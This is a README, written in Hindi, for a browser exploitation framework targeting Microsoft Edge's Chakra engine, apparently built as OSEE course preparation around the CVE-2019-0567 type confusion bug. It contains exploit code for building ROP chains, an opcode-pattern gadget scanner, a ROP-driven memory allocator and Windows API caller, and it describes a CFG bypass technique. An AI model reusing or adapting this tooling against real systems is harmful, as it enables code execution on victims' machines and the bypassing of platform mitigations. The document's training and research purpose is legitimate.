
Chakra (Edge) के लिए ब्राउज़र शोषण ढांचा। OSEE तैयारी के भाग के रूप में लिखा गया। प्रदर्शन बग: CVE-2019-0567
इस रिपॉजिटरी में ब्राउज़र शोषण ढाँचा है जो मैंने अपने EXP-401 पाठ्यक्रम की तैयारी के लिए लिखा था। यह ढाँचा Chakra इंजन को लक्षित करता है, जो 2019 में v8 पर स्विच होने तक Edge का हिस्सा था।
ढाँचे में उपयोग किया गया डेमो भेद्यता CVE-2019-0567 Type Confusion है।

इस ढाँचे को उपयोग में आसान बनाने के लिए, मैंने कुछ अच्छी विशेषताएँ लिखीं जो भविष्य के सैंडबॉक्स एस्केप को लागू करना अविश्वसनीय रूप से आसान बना देती हैं।
यह ढाँचा विंडोज API को उच्च स्तर पर कॉल करने की अनुमति देता है। यह किसी भी API को हल करने के लिए GetProcAddress ROP श्रृंखला का उपयोग करता है, और चार मापदंडों तक की अनुमति देता है।
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
मैंने जिस CFG बायपास का उपयोग किया वह leafInterpreterFrame तकनीक थी। कुछ ऑब्जेक्ट्स पर चलकर, आप एक स्टैक पता लीक कर सकते हैं। यहां से, आप एक फ़ंक्शन पॉइंटर का शिकार कर सकते हैं, इसे अधिलेखित कर सकते हैं, और निष्पादन प्राप्त कर सकते हैं। इसे मेरे Chakra संस्करण में पोर्ट करना थोड़ा मुश्किल था इसलिए मैंने इसके बारे में यहां एक ब्लॉग लिखा।
एक मित्र ने मुझे JavaScript लोकेशन में लौटने को वास्तव में आसान बनाने की एक बहुत अच्छी तकनीक दिखाई। वे अपने CFG बायपास को [1].map() कॉल में लपेटते हैं, जिसका अर्थ है कि वे अपने मूल फ़ंक्शन में निष्पादन जारी रख सकते हैं - इससे कोड अधिक साफ दिखता है। आप इसका एक उदाहरण यहां देख सकते हैं।
कई विंडोज API को मापदंडों और बफ़र्स को संरेखित करने की आवश्यकता होती है। पहले, मैं .data अनुभाग में पैरामीटर स्टेज करके विंडोज API को कॉल कर रहा था - यह बहुत दर्दनाक था। अंत में, मैंने अपना स्वयं का मेमोरी आवंटक लिखा जो ROP में VirtualAlloc को कॉल करता है, और फिर अन्य ऑब्जेक्ट्स को बफ़र से malloc मेमोरी की अनुमति देता है। मेमोरी आवंटक हमेशा संरेखित बफ़र्स भी लौटाएगा!
ROP श्रृंखलाएँ इस प्रकार लिखी जाती हैं:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
अंतर्निहित ROP गैजेट्स छोटे फ़ंक्शन के रूप में कार्यान्वित किए गए हैं:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
इस तरह, हम उच्च-स्तरीय क्रिया जैसे pop r9 करने के लिए गैजेट्स की अधिक जटिल श्रृंखलाएँ कर सकते हैं। कोई अच्छा गैजेट नहीं था, इसलिए इसे कुछ के संयोजन के रूप में कार्यान्वित किया गया है:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
ढाँचे की पोर्टेबिलिटी बढ़ाने के प्रयास में, एक ROP पैटर्न स्कैनर भी है। यह आवश्यक श्रृंखला बनाने वाले बाइट्स के अनुक्रम को स्कैन करने के लिए read प्रिमिटिव का उपयोग करता है।
एक वैश्विक कैश भी है जो स्कैनर के प्रदर्शन में नाटकीय रूप से सुधार करता है।
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}